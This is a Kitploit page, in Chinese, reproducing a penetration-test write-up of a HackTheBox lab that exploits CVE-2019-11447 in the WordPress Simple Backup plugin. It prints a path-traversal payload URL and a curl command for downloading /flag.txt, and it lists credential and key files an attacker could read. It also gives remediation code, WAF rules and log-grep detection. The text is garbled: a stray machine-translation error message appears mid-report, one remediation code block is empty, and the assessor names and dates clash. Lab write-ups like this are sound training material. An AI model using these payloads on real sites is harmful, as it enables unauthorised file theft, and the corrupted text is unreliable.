Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WordPress-Path-Traversal-CVE-2019-11447 — 详细的渗透测试报告,演示了 WordPress Simple Backup 插件中未经身份验证的路径遍历漏洞(CVE-2019-11447),包括利用步骤、影响分析和修复指导。 | Kitploit
工具/GitHubGitHub/capivara-research/wordpress-path-traversal-cve-2019-11447
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubcapivara-research/wordpress-path-traversal-cve-2019-11447

WordPress-Path-Traversal-CVE-2019-11447

详细的渗透测试报告,演示了 WordPress Simple Backup 插件中未经身份验证的路径遍历漏洞(CVE-2019-11447),包括利用步骤、影响分析和修复指导。

查看仓库
2天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

渗透测试报告

WordPress 路径遍历 - CVE-2019-11447


文档信息

项目详情
文档标题渗透测试报告 - WordPress 路径遍历
客户/考试HackTheBox 实验室 - CPTS 练习 1
日期2026 年 8 月 22 日
评估人员Cyberia(渗透测试人员)
评估类型灰盒(外部,无凭据)
实验室环境154.57.164.73:30706
实验室时长1 小时
目标识别并利用漏洞以获取受限文件
获取的 FlagHTB{my_f1r57_h4ck}

执行摘要

在对托管于 154.57.164.73:30706 的 Web 应用程序进行的此次渗透评估中,发现了一个严重漏洞,该漏洞允许未认证的攻击者从服务器文件系统下载并读取任意文件。

受影响的 WordPress 安装包含一个过时的插件(Simple Backup v2.7.10),其存在路径遍历漏洞(CVE-2019-11447),可在无需身份验证或授权的情况下实现未经授权的文件访问。

该漏洞已被成功利用,从服务器根目录获取了 /flag.txt 文件,确认了机密性的完全破坏。拥有此访问权限的攻击者可以:

  • 提取敏感配置文件(wp-config.php、.env)
  • 读取数据库凭据和用户数据
  • 访问私有 SSH 密钥和身份验证令牌
  • 通过泄露的凭据可能提升权限
  • 收集个人信息以实施进一步攻击

必须立即采取关键措施修复此漏洞,因为它对数据安全、隐私合规(GDPR、HIPAA、PCI-DSS)以及系统完整性构成极端风险。


评估概览

严重性数量业务影响
🔴 严重1机密性完全泄露;未经授权的文件访问
🟠 高0—
🟡 中0—
🟢 低0—
ℹ️ 信息1检测到过时的软件版本

方法论

评估类型: 灰盒(外部攻击者,无凭据,具有网络访问权限)

评估日期: 2026 年 8 月 22 日

测试方法: 非规避性、系统性的评估,遵循行业标准渗透测试框架(PTES):

  1. 侦察 — 被动信息收集
  2. 扫描与枚举 — 主动服务发现
  3. 漏洞分析 — 识别弱点
  4. 利用 — 概念验证开发
  5. 后渗透 — 影响演示
  6. 报告 — 文档记录与修复指导

发现

🔴 严重 - 路径遍历与任意文件下载

CVE-2019-11447 | CWE-22:路径名到受限目录的限制不当


描述

WordPress 插件 Simple Backup(版本 2.7.10/2.7.11,Exploit-DB 39883)在其管理后台的“备份管理器”页面中存在路径遍历漏洞。该插件未能对通过 download_backup_file GET 参数提供的文件路径进行过滤,允许攻击者使用相对路径序列(../)遍历出预期的 simple-backup/ 目录,并下载 Web 服务器进程可读取的任何文件——包括文件系统根目录下的文件。

存在漏洞的端点:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

root@kitploit:~
`page=backup_manager` 将请求路由到插件的管理页面处理器;`download_backup_file` 是该插件代码直接读取的参数,并在未经验证的情况下拼接到文件系统路径中,从而导致目录遍历。

---

### CVSS v3.1 评分

**7.5 - 高危** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **攻击向量 (AV):** 网络
- **攻击复杂度 (AC):** 低
- **所需权限 (PR):** 无
- **用户交互 (UI):** 无
- **范围 (S):** 不变
- **机密性 (C):** 高
- **完整性 (I):** 无
- **可用性 (A):** 无

---

### 业务影响

**机密性破坏:** ⚠️ 严重

攻击者可以读取 Web 服务器可访问的任何文件,包括:

| 文件 | 影响 | 风险等级 |
|------|--------|------------|
| `/wp-config.php` | 数据库凭据、盐和密钥 | 🔴 严重 |
| `/.env` | API 密钥、机密数据、配置 | 🔴 严重 |
| `/etc/passwd` | 用户枚举、系统映射 | 🟠 高危 |
| SSH 密钥 (`.ssh/id_rsa`) | 横向移动、系统访问 | 🔴 严重 |
| `/proc/self/environ` | 运行中应用的机密数据 | 🟠 高危 |
| 用户上传目录 | 私有文件、媒体 | 🟠 高危 |

**监管影响:**
- **GDPR 违规:** 未经授权访问用户数据
- **HIPAA 违规:** 受保护健康信息泄露
- **PCI-DSS 违规:** 访问信用卡数据或支付信息
- **SOC 2 违规:** 违反保密要求

---

### 漏洞代码模式

Exploit-DB 漏洞公告(39883.txt,通过 `searchsploit -x` 查看——参见 [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png))记录了 `simple-backup-manager.php` 中该插件的 **delete** 原语:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

The input chunk is empty — no content was provided to translate. Please supply the actual text for chunk 5 of 37.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);

root@kitploit:~
`$filename` 直接取自 `$_GET['delete_backup_file']`,没有使用 `basename()` 或路径包含检查。传入 `../pizza.txt` 会将 `$bk_dir . $filename` 解析为 `.../simple-backup/../pizza.txt` → `.../pizza.txt`,从而逃逸出预期的备份文件夹。

本次实战中实际被利用的**下载**原语(`download_backup_file`)在同一插件中遵循完全相同的不安全拼接模式,但它是将文件返回给请求者而不是删除它——这正是能够从文件系统根目录读取 `/flag.txt` 的原因(从 `ABSPATH/simple-backup/` 出发使用 10 次 `../`)。

**问题所在:**
- 未使用 `basename()` 去除目录组件
- 没有允许文件的 whitelist
- 未验证 `realpath()` 是否仍位于 `ABSPATH."simple-backup/"`
- 直接将用户输入拼接到文件路径中
- 在提供文件之前没有 `current_user_can()` / 身份验证检查——该处理程序在插件加载时运行,早于 WordPress 自身的 `wp-admin` 认证门禁,因此**无需登录**即可访问

---

### 概念验证

#### **阶段 1:初始访问——应用程序识别**

通过浏览器直接连接目标(`http://154.57.164.73:30706/`)。该 WordPress 安装的标题为 **"GETTING STARTED"**,首页上的一篇公开博客文章以纯文本形式披露了确切的插件名称和版本:**"Simple Backup Plugin 2.7.10 for WordPress"**——识别易受攻击组件甚至不需要任何枚举工具。

![Initial Access - Plugin version disclosed on WordPress homepage](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **阶段 2:服务指纹识别**```bash
whatweb http://154.57.164.73:30706/

结果: Apache/2.4.41 (Ubuntu Linux)、WordPress 5.6.1 已通过 MetaGenerator 和 WordPress 插件签名确认。

服务指纹识别 - whatweb 输出

阶段 3:漏洞研究```bash

searchsploit simple backup wordpress

root@kitploit:~
**结果:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

漏洞研究 - searchsploit 匹配

阅读完整安全公告以了解确切的可利用参数和代码路径:```bash searchsploit -x php/webapps/39883.txt

root@kitploit:~
该安全通告记录了通过 `delete_backup_file` 参数实现的未认证 **任意文件删除**,并指出 `simple-backup/` 目录下的备份文件(以及,经由同一条未净化的代码路径,`download_backup_file` 可获取的任意文件)可在无需认证的情况下被获取。

![漏洞研究 - 通过 searchsploit -x 读取 Exploit-DB PoC 39883.txt](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **阶段 4:漏洞利用 — 通过 `download_backup_file` 实现路径遍历**

从插件的管理页面路由中识别出易受攻击的端点:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

利用载荷(10 个 ../ 从 ABSPATH/simple-backup/ 回溯到文件系统根目录):``` http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt

root@kitploit:~
**GUI (used in this assessment):** 载荷 URL 被直接在浏览器地址栏中访问。无需登录 — 浏览器自动下载了解析后的 `flag.txt` 文件。

![利用 - 浏览器地址栏中的路径遍历载荷,flag.txt 已下载](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Headless equivalent:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

已获取的 Flag: HTB{my_f1r57_h4ck}


为什么有效

该漏洞能够成功利用,原因如下:

  1. 无输入验证: $_GET['download_backup_file'] 未针对白名单进行检查
  2. 无路径规范化: 未使用 realpath() 来验证文件是否保持在 simple-backup/ 目录内
  3. 无 basename 提取: 目录遍历序列(../)未被过滤
  4. 直接拼接: 用户输入被直接拼接到 ABSPATH."simple-backup/"
  5. 无需身份验证: 该处理程序在插件加载时运行,位于 WordPress 的 wp-admin 身份验证门之前——在未登录状态下也可访问
  6. 无授权检查: 没有通过 current_user_can() 检查来确认请求者有权访问所请求的文件

攻击流程:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine

root@kitploit:~
---

### 影响验证

✅ **机密性受损:** Web 服务器进程可读取的任何文件均可访问
✅ **无需身份验证:** 未认证用户即可利用
✅ **无需用户交互:** 直接通过 HTTP 请求利用
✅ **可重复且可靠:** 适用于所有受影响版本
✅ **关键业务数据面临风险:** 配置文件、凭据、用户数据被暴露

---

## 修复方案

### **选项 1:输入白名单(推荐)**

仅允许从预定义的文件列表中下载:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

优点:

  • 最安全的方法
  • 仅允许预期的文件
  • 不可能进行路径遍历
  • 清晰的审计跟踪

选项 2:使用 realpath() 进行路径验证

使用 realpath() 对路径进行规范化并验证包含关系:```php

root@kitploit:~
**优点:**
- 处理符号链接和复杂路径
- 自动验证包含关系
- 比白名单更灵活

---

### **选项 3:仅使用 basename() 获取文件名**

仅提取文件名部分:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

优点:

  • 实现简单
  • 移除所有路径遍历序列
  • 无法进行目录访问

注意: 此方法仅在所有合法文件都位于单个目录且没有子目录时才有效。


基础设施级保护

Web 应用防火墙(WAF)规则:```

Block path traversal attempts

ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"

root@kitploit:~
**文件系统权限:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

访问日志与监控:```bash

Monitor for traversal attempts in web logs

tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"

Alert on suspicious file access patterns

Integration with SIEM (Splunk, ELK, etc.)

root@kitploit:~
**更新管理:**

1. 禁用或删除 Simple Backup 插件
2. 安装已批准且通过安全审计的备份解决方案
3. 将 WordPress 更新到最新版本
4. 将所有插件更新到最新版本
5. 将 PHP 更新到 8.0+ 并应用安全补丁

---

## 攻击链```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘

结论

调查结果摘要

WordPress Simple Backup 插件中存在一个严重的路径遍历漏洞,允许未经身份验证的攻击者从服务器下载和读取任意文件。该漏洞已被成功利用,从 Web 根目录中检索到了敏感文件。

风险等级:🔴 严重

优先行动计划

优先级操作时间线负责人
🔴 P0禁用/移除 Simple Backup 插件立即安全/运维
🔴 P0实施基于白名单的文件验证本周开发
🟠 P1部署 WAF 规则以阻止路径遍历本周运维
🟠 P1审计服务器未授权访问日志本周安全
🟠 P1轮换所有已暴露的凭据(DB、SSH、API)本周运维
🟡 P2更新 WordPress 核心及所有插件本周运维
🟡 P2实施文件完整性监控下一个迭代安全
🟡 P2对其他插件进行全面安全审计下一个迭代安全

经验教训

  1. 第三方插件依赖需要严格审查 — 部署前务必审计插件
  2. 路径遍历是严重弱点 — 输入验证至关重要
  3. 纵深防御必不可少 — 单层安全防护是不够的
  4. 过时软件风险极高 — 保持定期更新计划
  5. 监控并告警可疑模式 — 及早发现可防止事态升级

截图与证据

截图 1:初始访问 - 插件版本泄露

WordPress 首页博客文章 发现: WordPress 站点 "GETTING STARTED" 在博客文章中公开披露了已安装的插件及版本 — "Simple Backup Plugin 2.7.10 for WordPress"

截图 2:服务指纹识别 - whatweb

whatweb 输出 发现: 确认 Apache/2.4.41(Ubuntu Linux)、WordPress 5.6.1

截图 3:漏洞研究 - searchsploit

searchsploit 结果 发现: "WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities"(php/webapps/39883.txt)

截图 4:漏洞研究 - Exploit-DB PoC 内容

searchsploit -x PoC 读取 发现: 安全通告记录了通过 delete_backup_file 实现未经身份验证的任意文件删除;相同的未净化代码路径同样适用于 download_backup_file

截图 5:漏洞利用 - 通过浏览器获取 Flag

浏览器中的路径遍历载荷,已下载 flag.txt 发现: 访问 tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt 会触发未经身份验证的 flag.txt 下载:HTB{my_f1r57_h4ck}


参考资料

漏洞详情

  • CVE-2019-11447 — Simple Backup 路径遍历

    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11447
  • CWE-22 — 对受限目录的路径名限制不当(“路径遍历”)

    • https://cwe.mitre.org/data/definitions/22.html
  • CVSS v3.1 评分: 7.5(高危)

    • https://www.first.org/cvss/calculator/3.1

安全资源

  • OWASP Top 10 - A01:2021 访问控制失效

    • https://owasp.org/Top10/A01_2021-Broken_Access_Control/
  • OWASP 路径遍历

    • https://owasp.org/www-community/attacks/Path_Traversal
  • PortSwigger Web Security Academy - 路径遍历

    • https://portswigger.net/web-security/file-path-traversal

工具与技术

  • SearchSploit — Exploit Database 搜索

    • https://www.exploit-db.com/
  • NMAP — 网络映射器

    • https://nmap.org/
  • WhatWeb — Web 指纹识别工具

    • https://www.morningstarsecurity.com/research/whatweb

修复参考

  • PHP 安全:realpath() — https://www.php.net/manual/en/function.realpath.php
  • PHP 安全:basename() — https://www.php.net/manual/en/function.basename.php
  • ModSecurity — Web 应用防火墙 — https://modsecurity.org/

报告认证

本报告记录了在获得适当授权并在既定范围内进行的渗透测试。

项目值
报告状态✅ 已完成
调查结果已核实✅ 是
建议可执行✅ 是
机密性🔒 高
分发范围仅限授权人员

评估人: Capivara Root(渗透测试人员)
日期: 2026 年 8 月 11 日
签名: 数字报告 - 无需物理签名


© 2026 渗透测试评估 | 机密

下载工具